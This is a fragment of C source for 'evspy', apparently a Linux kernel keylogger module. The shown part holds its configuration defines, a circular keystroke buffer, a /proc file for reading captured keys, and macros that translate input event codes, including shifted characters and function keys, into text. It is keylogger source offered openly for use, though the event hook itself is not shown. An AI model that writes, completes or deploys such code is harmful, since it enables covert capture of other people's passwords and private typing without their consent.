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#include <linux/cred.h>
#include <linux/init.h>
#include <linux/input.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/stat.h>
#include <linux/string.h>
#include <asm/page.h>
#include "khashmap/khashmap.h"
#define EVS_NAME "evspy" // driver name
#define EVS_KLAY EVS_KLAY_EN // change this to your keyboard layout
#define EVS_TROLL 1 // clear this if you're a serious guy
#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K)
#define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc
#include "maps/maps.h"
#define MIN(x, y) (x) < (y) ? (x) : (y)
/*
* If pointer is at the end of buffer, put it at the beginning.
* If not, simply add 1 to it.
*/
#define evs_incp(p) \
({ \
if ((p) == &buffer[EVS_BUFSIZE-1]) \
(p) = buffer; \
else \
(p)++; \
(p); \
})
/*
* Same as evs_incp but backwards
*/
#define evs_decp(p) \
({ \
if ((p) == buffer) \
(p) = &buffer[EVS_BUFSIZE-1]; \
else \
(p)--; \
(p); \
})
/*
* Insert character c where wrp is pointing and move it to the next char.
* If rdp == wrp, increase rdp too.
*/
#define evs_insert(c) \
({ \
*wrp = (c); \
if (evs_incp(wrp) == rdp) \
evs_incp(rdp); \
})
/*
* Remove a character from the buffer
*/
#define evs_delete() \
({ \
if (wrp != rdp && evs_decp(wrp) == rdp) \
evs_decp(rdp); \
})
/*
* Is the c event code associated to any of the FX buttons?
*/
#define evs_isfX(c) \
({ \
((c) >= KEY_F1 && (c) <= KEY_F10) || \
((c) == KEY_F11 || (c) == KEY_F12) || \
((c) >= KEY_F13 && (c) <= KEY_F24); \
})
/*
* Returns the character associated with event code c when shift is pressed
*/
#define evs_shift(c) \
({ \
void *__vp; \
char __c = (c); \
if (map[c] >= 'a' && map[c] <= 'z') { \
__c = map[c] + ('A'-'a'); \
} else { \
__vp = khm_get(shm, (c)); \
if (__vp) __c = *(char *)__vp; \
else __c = map[c]; \
} \
__c; \
})
// Event values
#define EVS_VAL_FREE 0
#define EVS_VAL_PRESS 1
#define EVS_VAL_HOLD 2
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